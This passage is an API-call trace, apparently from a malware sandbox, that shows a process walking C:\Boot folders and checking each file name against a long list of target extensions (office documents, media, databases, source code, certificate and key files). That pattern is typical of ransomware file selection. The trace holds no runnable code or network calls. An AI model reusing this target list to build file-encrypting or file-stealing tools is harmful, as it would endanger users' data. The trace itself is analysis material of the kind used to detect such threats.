lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0192.037] lstrlenW (lpString=".dif") returned 4 [0192.037] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0192.037] lstrlenW (lpString=".divx") returned 5 [0192.037] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0192.037] lstrlenW (lpString=".djvu") returned 5 [0192.037] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0192.037] lstrlenW (lpString=".dng") returned 4 [0192.038] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0192.038] lstrlenW (lpString=".doc") returned 4 [0192.038] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0192.038] lstrlenW (lpString=".docm") returned 5 [0192.038] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0192.038] lstrlenW (lpString=".docx") returned 5 [0192.038] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0192.038] lstrlenW (lpString=".dot") returned 4 [0192.038] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0192.038] lstrlenW (lpString=".dotm") returned 5 [0192.038] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0192.038] lstrlenW (lpString=".dotx") returned 5 [0192.038] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0192.038] lstrlenW (lpString=".dpx") returned 4 [0192.038] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0192.038] lstrlenW (lpString=".dqy") returned 4 [0192.038] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0192.038] lstrlenW (lpString=".dsn") returned 4 [0192.038] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0192.038] lstrlenW (lpString=".dt") returned 3 [0192.038] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0192.038] lstrlenW (lpString=".dtd") returned 4 [0192.038] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0192.038] lstrlenW (lpString=".dwg") returned 4 [0192.038] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0192.038] lstrlenW (lpString=".dwt") returned 4 [0192.038] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0192.038] lstrlenW (lpString=".dx") returned 3 [0192.038] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0192.039] lstrlenW (lpString=".dxf") returned 4 [0192.039] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0192.039] lstrlenW (lpString=".edml") returned 5 [0192.039] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0192.039] lstrlenW (lpString=".efd") returned 4 [0192.039] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0192.039] lstrlenW (lpString=".elf") returned 4 [0192.039] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0192.039] lstrlenW (lpString=".emf") returned 4 [0192.039] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0192.039] lstrlenW (lpString=".emz") returned 4 [0192.039] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0192.039] lstrlenW (lpString=".epf") returned 4 [0192.039] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0192.039] lstrlenW (lpString=".eps") returned 4 [0192.039] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0192.039] lstrlenW (lpString=".epsf") returned 5 [0192.039] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0192.039] lstrlenW (lpString=".epsp") returned 5 [0192.039] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0192.039] lstrlenW (lpString=".erf") returned 4 [0192.039] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0192.039] lstrlenW (lpString=".exr") returned 4 [0192.039] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0192.039] lstrlenW (lpString=".f4v") returned 4 [0192.039] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0192.039] lstrlenW (lpString=".fido") returned 5 [0192.039] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0192.039] lstrlenW (lpString=".flm") returned 4 [0192.040] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0192.040] lstrlenW (lpString=".flv") returned 4 [0192.040] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0192.040] lstrlenW (lpString=".frm") returned 4 [0192.040] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0192.040] lstrlenW (lpString=".fxg") returned 4 [0192.040] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0192.040] lstrlenW (lpString=".geo") returned 4 [0192.040] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0192.040] lstrlenW (lpString=".gif") returned 4 [0192.040] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0192.040] lstrlenW (lpString=".grs") returned 4 [0192.040] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0192.040] lstrlenW (lpString=".gz") returned 3 [0192.040] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0192.040] lstrlenW (lpString=".h") returned 2 [0192.040] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0192.040] lstrlenW (lpString=".hdr") returned 4 [0192.040] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0192.040] lstrlenW (lpString=".hpp") returned 4 [0192.040] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0192.040] lstrlenW (lpString=".hta") returned 4 [0192.040] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0192.040] lstrlenW (lpString=".htc") returned 4 [0192.040] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0192.040] lstrlenW (lpString=".htm") returned 4 [0192.040] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0192.040] lstrlenW (lpString=".html") returned 5 [0192.040] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0192.040] lstrlenW (lpString=".icb") returned 4 [0192.041] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0192.041] lstrlenW (lpString=".ics") returned 4 [0192.041] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0192.041] lstrlenW (lpString=".iff") returned 4 [0192.041] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0192.041] lstrlenW (lpString=".inc") returned 4 [0192.041] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0192.041] lstrlenW (lpString=".indd") returned 5 [0192.041] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0192.041] lstrlenW (lpString=".ini") returned 4 [0192.041] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0192.041] lstrlenW (lpString=".iqy") returned 4 [0192.041] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0192.041] lstrlenW (lpString=".j2c") returned 4 [0192.041] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0192.041] lstrlenW (lpString=".j2k") returned 4 [0192.041] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0192.041] lstrlenW (lpString=".java") returned 5 [0192.041] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0192.041] lstrlenW (lpString=".jp2") returned 4 [0192.041] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0192.041] lstrlenW (lpString=".jpc") returned 4 [0192.041] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0192.041] lstrlenW (lpString=".jpe") returned 4 [0192.041] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0192.041] lstrlenW (lpString=".jpeg") returned 5 [0192.041] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0192.041] lstrlenW (lpString=".jpf") returned 4 [0192.041] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0192.042] lstrlenW (lpString=".jpg") returned 4 [0192.042] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0192.042] lstrlenW (lpString=".jpx") returned 4 [0192.042] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0192.042] lstrlenW (lpString=".js") returned 3 [0192.042] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0192.042] lstrlenW (lpString=".jsf") returned 4 [0192.042] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0192.042] lstrlenW (lpString=".json") returned 5 [0192.042] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0192.042] lstrlenW (lpString=".jsp") returned 4 [0192.042] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0192.042] lstrlenW (lpString=".kdc") returned 4 [0192.042] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0192.042] lstrlenW (lpString=".kmz") returned 4 [0192.042] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0192.042] lstrlenW (lpString=".kwm") returned 4 [0192.042] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0192.042] lstrlenW (lpString=".lasso") returned 6 [0192.042] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0192.042] lstrlenW (lpString=".lbi") returned 4 [0192.042] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0192.042] lstrlenW (lpString=".lgf") returned 4 [0192.042] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0192.042] lstrlenW (lpString=".lgp") returned 4 [0192.042] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0192.042] lstrlenW (lpString=".log") returned 4 [0192.042] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0192.043] lstrlenW (lpString=".m1v") returned 4 [0192.043] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0192.043] lstrlenW (lpString=".m4a") returned 4 [0192.043] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0192.043] lstrlenW (lpString=".m4v") returned 4 [0192.043] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0192.043] lstrlenW (lpString=".max") returned 4 [0192.043] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0192.043] lstrlenW (lpString=".md") returned 3 [0192.043] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0192.043] lstrlenW (lpString=".mda") returned 4 [0192.043] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0192.043] lstrlenW (lpString=".mdb") returned 4 [0192.043] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0192.043] lstrlenW (lpString=".mde") returned 4 [0192.043] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0192.043] lstrlenW (lpString=".mdf") returned 4 [0192.043] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0192.043] lstrlenW (lpString=".mdw") returned 4 [0192.043] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0192.043] lstrlenW (lpString=".mef") returned 4 [0192.043] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0192.043] lstrlenW (lpString=".mft") returned 4 [0192.043] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0192.043] lstrlenW (lpString=".mfw") returned 4 [0192.043] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0192.043] lstrlenW (lpString=".mht") returned 4 [0192.043] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0192.043] lstrlenW (lpString=".mhtml") returned 6 [0192.044] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0192.044] lstrlenW (lpString=".mka") returned 4 [0192.044] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0192.044] lstrlenW (lpString=".mkidx") returned 6 [0192.044] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0192.044] lstrlenW (lpString=".mkv") returned 4 [0192.044] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0192.044] lstrlenW (lpString=".mos") returned 4 [0192.044] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0192.044] lstrlenW (lpString=".mov") returned 4 [0192.044] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0192.044] lstrlenW (lpString=".mp3") returned 4 [0192.044] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0192.044] lstrlenW (lpString=".mp4") returned 4 [0192.044] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0192.044] lstrlenW (lpString=".mpeg") returned 5 [0192.044] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0192.044] lstrlenW (lpString=".mpg") returned 4 [0192.044] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0192.044] lstrlenW (lpString=".mpv") returned 4 [0192.044] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0192.044] lstrlenW (lpString=".mrw") returned 4 [0192.044] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0192.044] lstrlenW (lpString=".msg") returned 4 [0192.044] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0192.044] lstrlenW (lpString=".mxl") returned 4 [0192.044] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0192.044] lstrlenW (lpString=".myd") returned 4 [0192.044] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0192.045] lstrlenW (lpString=".myi") returned 4 [0192.045] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0192.045] lstrlenW (lpString=".nef") returned 4 [0192.045] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0192.045] lstrlenW (lpString=".nrw") returned 4 [0192.045] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0192.045] lstrlenW (lpString=".obj") returned 4 [0192.045] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0192.045] lstrlenW (lpString=".odb") returned 4 [0192.045] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0192.045] lstrlenW (lpString=".odc") returned 4 [0192.045] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0192.045] lstrlenW (lpString=".odm") returned 4 [0192.045] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0192.045] lstrlenW (lpString=".odp") returned 4 [0192.045] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0192.045] lstrlenW (lpString=".ods") returned 4 [0192.045] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0192.045] lstrlenW (lpString=".oft") returned 4 [0192.045] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0192.045] lstrlenW (lpString=".one") returned 4 [0192.045] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0192.045] lstrlenW (lpString=".onepkg") returned 7 [0192.045] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0192.045] lstrlenW (lpString=".onetoc2") returned 8 [0192.045] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0192.045] lstrlenW (lpString=".opt") returned 4 [0192.045] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0192.045] lstrlenW (lpString=".oqy") returned 4 [0192.046] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0192.046] lstrlenW (lpString=".orf") returned 4 [0192.046] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0192.046] lstrlenW (lpString=".p12") returned 4 [0192.046] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0192.046] lstrlenW (lpString=".p7b") returned 4 [0192.046] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0192.046] lstrlenW (lpString=".p7c") returned 4 [0192.046] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0192.046] lstrlenW (lpString=".pam") returned 4 [0192.046] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0192.046] lstrlenW (lpString=".pbm") returned 4 [0192.046] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0192.046] lstrlenW (lpString=".pct") returned 4 [0192.046] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0192.046] lstrlenW (lpString=".pcx") returned 4 [0192.046] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0192.046] lstrlenW (lpString=".pdd") returned 4 [0192.046] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0192.046] lstrlenW (lpString=".pdf") returned 4 [0192.046] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0192.046] lstrlenW (lpString=".pdp") returned 4 [0192.046] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0192.046] lstrlenW (lpString=".pef") returned 4 [0192.046] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0192.046] lstrlenW (lpString=".pem") returned 4 [0192.046] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0192.046] lstrlenW (lpString=".pff") returned 4 [0192.046] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0192.047] lstrlenW (lpString=".pfm") returned 4 [0192.047] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0192.047] lstrlenW (lpString=".pfx") returned 4 [0192.047] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0192.047] lstrlenW (lpString=".pgm") returned 4 [0192.047] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0192.047] lstrlenW (lpString=".php") returned 4 [0192.047] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0192.047] lstrlenW (lpString=".php3") returned 5 [0192.047] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0192.047] lstrlenW (lpString=".php4") returned 5 [0192.047] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0192.047] lstrlenW (lpString=".php5") returned 5 [0192.047] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0192.047] lstrlenW (lpString=".phtml") returned 6 [0192.047] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0192.047] lstrlenW (lpString=".pict") returned 5 [0192.047] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0192.047] lstrlenW (lpString=".pl") returned 3 [0192.047] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0192.047] lstrlenW (lpString=".pls") returned 4 [0192.047] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0192.047] lstrlenW (lpString=".pm") returned 3 [0192.047] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0192.047] lstrlenW (lpString=".png") returned 4 [0192.047] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0192.047] lstrlenW (lpString=".pnm") returned 4 [0192.047] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0192.047] lstrlenW (lpString=".pot") returned 4 [0192.048] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0192.048] lstrlenW (lpString=".potm") returned 5 [0192.048] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0192.048] lstrlenW (lpString=".potx") returned 5 [0192.048] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0192.048] lstrlenW (lpString=".ppa") returned 4 [0192.048] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0192.048] lstrlenW (lpString=".ppam") returned 5 [0192.048] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0192.048] lstrlenW (lpString=".ppm") returned 4 [0192.048] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0192.048] lstrlenW (lpString=".pps") returned 4 [0192.048] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0192.048] lstrlenW (lpString=".ppsm") returned 5 [0192.048] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0192.048] lstrlenW (lpString=".ppt") returned 4 [0192.048] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0192.048] lstrlenW (lpString=".pptm") returned 5 [0192.048] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0192.048] lstrlenW (lpString=".pptx") returned 5 [0192.048] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0192.048] lstrlenW (lpString=".prn") returned 4 [0192.048] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0192.048] lstrlenW (lpString=".ps") returned 3 [0192.048] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0192.048] lstrlenW (lpString=".psb") returned 4 [0192.048] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0192.048] lstrlenW (lpString=".psd") returned 4 [0192.048] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0192.049] lstrlenW (lpString=".pst") returned 4 [0192.049] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0192.049] lstrlenW (lpString=".ptx") returned 4 [0192.049] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0192.049] lstrlenW (lpString=".pub") returned 4 [0192.049] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0192.049] lstrlenW (lpString=".pwm") returned 4 [0192.049] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0192.049] lstrlenW (lpString=".pxr") returned 4 [0192.049] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0192.049] lstrlenW (lpString=".py") returned 3 [0192.049] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0192.049] lstrlenW (lpString=".qt") returned 3 [0192.049] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0192.049] lstrlenW (lpString=".r3d") returned 4 [0192.049] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0192.050] FindNextFileW (in: hFindFile=0x751190, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0192.050] FindNextFileW (in: hFindFile=0x751190, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0192.050] FindClose (in: hFindFile=0x751190 | out: hFindFile=0x751190) returned 1 [0192.050] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0192.050] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1 [0192.050] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3e70058 [0192.050] lstrlenW (lpString="C:\\Boot\\de-DE") returned 13 [0192.051] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x751050 [0192.051] FindNextFileW (in: hFindFile=0x751050, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.051] FindNextFileW (in: hFindFile=0x751050, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0192.051] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0192.051] lstrlenW (lpString=".1cd") returned 4 [0192.051] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0192.051] lstrlenW (lpString=".3ds") returned 4 [0192.051] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0192.051] lstrlenW (lpString=".3fr") returned 4 [0192.051] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0192.051] lstrlenW (lpString=".3g2") returned 4 [0192.051] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0192.051] lstrlenW (lpString=".3gp") returned 4 [0192.051] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0192.051] lstrlenW (lpString=".7z") returned 3 [0192.051] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0192.051] lstrlenW (lpString=".accda") returned 6 [0192.051] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0192.051] lstrlenW (lpString=".accdb") returned 6 [0192.051] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0192.051] lstrlenW (lpString=".accdc") returned 6 [0192.051] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0192.052] lstrlenW (lpString=".accde") returned 6 [0192.052] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0192.052] lstrlenW (lpString=".accdt") returned 6 [0192.052] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0192.052] lstrlenW (lpString=".accdw") returned 6 [0192.052] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0192.052] lstrlenW (lpString=".adb") returned 4 [0192.052] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0192.052] lstrlenW (lpString=".adp") returned 4 [0192.052] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0192.052] lstrlenW (lpString=".ai") returned 3 [0192.052] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0192.052] lstrlenW (lpString=".ai3") returned 4 [0192.052] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0192.052] lstrlenW (lpString=".ai4") returned 4 [0192.052] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0192.052] lstrlenW (lpString=".ai5") returned 4 [0192.052] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0192.052] lstrlenW (lpString=".ai6") returned 4 [0192.052] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0192.052] lstrlenW (lpString=".ai7") returned 4 [0192.052] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0192.052] lstrlenW (lpString=".ai8") returned 4 [0192.052] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0192.052] lstrlenW (lpString=".anim") returned 5 [0192.052] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0192.052] lstrlenW (lpString=".arw") returned 4 [0192.052] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0192.052] lstrlenW (lpString=".as") returned 3 [0192.053] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0192.053] lstrlenW (lpString=".asa") returned 4 [0192.053] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0192.053] lstrlenW (lpString=".asc") returned 4 [0192.053] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0192.053] 